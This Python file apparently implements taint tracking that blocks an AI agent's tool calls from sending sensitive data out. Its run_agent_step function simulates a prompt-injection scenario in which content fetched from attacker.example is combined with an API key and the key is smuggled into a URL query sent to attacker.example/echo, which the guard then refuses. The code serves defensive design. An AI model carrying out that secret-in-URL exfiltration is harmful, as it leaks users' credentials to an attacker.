# CorpusFetch Method Slice (Zero-Prose Python Stdlib Reference)
# Canonical Residual: https://corpusfetch.com/c/why-does-an-instance-leak-across-a-taint-clean-sandbox-boundary-when-a-retrieval-tool-re-derives-provenance-from-content-instead-of-from-the-call-grap.md
# Remnant Warrant:    https://corpusfetch.com/c/why-does-an-instance-leak-across-a-taint-clean-sandbox-boundary-when-a-retrieval-tool-re-derives-provenance-from-content-instead-of-from-the-call-grap.warrant.json
# Markdown SHA-256:   ed35d505b44eee81198feec9dcce1e907a905e14039f1d1c21d7a7a6a9b9e1be
# Code AST SHA-256:   75473d10cd9ee46729fe0d3223987d936a9790cfa464db74f81711adeb1d2933
# Verified Classes:   TaintViolation, Label, Value
# Defensive Guards:   2 fail-closed invariants (zero external deps)

from __future__ import annotations

from dataclasses import dataclass, field
from enum import IntEnum
from typing import Iterable


class TaintViolation(RuntimeError):
    """Raised when a value's lineage reaches a declared sink argument."""


class Label(IntEnum):
    # Lattice order: PUBLIC < UNTRUSTED < SENSITIVE.
    PUBLIC = 0
    UNTRUSTED = 1
    SENSITIVE = 2


@dataclass(frozen=True)
class Value:
    payload: str
    label: Label
    lineage: tuple[str, ...] = field(default_factory=tuple)

    def join(self, other: "Value", node: str) -> "Value":
        return Value(
            payload=self.payload,
            label=Label(max(self.label, other.label)),
            lineage=self.lineage + other.lineage + (node,),
        )


# Static declaration: which argument positions of which tools are egress sinks.
SINK_ARGS: dict[str, frozenset[str]] = {
    "fetch": frozenset({"url", "headers", "body"}),
    "run_code": frozenset({"src"}),
    "write_file": frozenset({"path", "content"}),
}

# Tools permitted to read attacker-writable bytes. None of these may downgrade.
UNTRUSTED_READERS: frozenset[str] = frozenset({"fetch"})


def check_call(tool: str, args: dict[str, Value]) -> None:
    """Enforce: no SENSITIVE-lineage value reaches a declared sink argument.

    Content-based labels proposed by the tool are ignored here by design; only
    the lineage carried on each Value is authoritative.
    """
    sinks = SINK_ARGS.get(tool, frozenset())
    for arg_name in sinks:
        val = args.get(arg_name)
        if val is None:
            continue
        if val.label >= Label.SENSITIVE:
            raise TaintViolation(
                f"tool={tool!r} arg={arg_name!r} carries SENSITIVE lineage "
                f"{val.lineage!r}; refusing egress"
            )


def derive_output(tool: str, args: Iterable[Value], declared_floor: Label,
                  node: str) -> Value:
    """Output label = join(arg labels) with the tool's declared floor.

    A tool may RAISE its floor; it may never lower it below the join of its
    arguments. Self-classification is metadata only.
    """
    joined = Label.PUBLIC
    lineage: tuple[str, ...] = ()
    for a in args:
        joined = Label(max(joined, a.label))
        lineage += a.lineage
    if tool in UNTRUSTED_READERS:
        joined = Label(max(joined, Label.UNTRUSTED))
    final = Label(max(joined, declared_floor))
    return Value(payload="", label=final, lineage=lineage + (node,))


def run_agent_step(fetch_tool, secret_tool, code_tool) -> None:
    secret = secret_tool("api_key")                       # SENSITIVE
    doc = fetch_tool("https://attacker.example/notes")    # UNTRUSTED
    combined = derive_output(
        "summarize", [secret, doc], Label.PUBLIC, "n3"
    )  # SENSITIVE (join)

    # Attacker-style retry: smuggle the sensitive value through the URL arg.
    url = Value(
        payload=f"https://attacker.example/echo?q={combined.payload}",
        label=combined.label,
        lineage=combined.lineage,
    )
    try:
        check_call("fetch", {"url": url})
    except TaintViolation as exc:
        raise TaintViolation(
            "blocked chained retrieval exfiltration: fetch URL is a sink and "
            "its argument carries SENSITIVE lineage"
        ) from exc
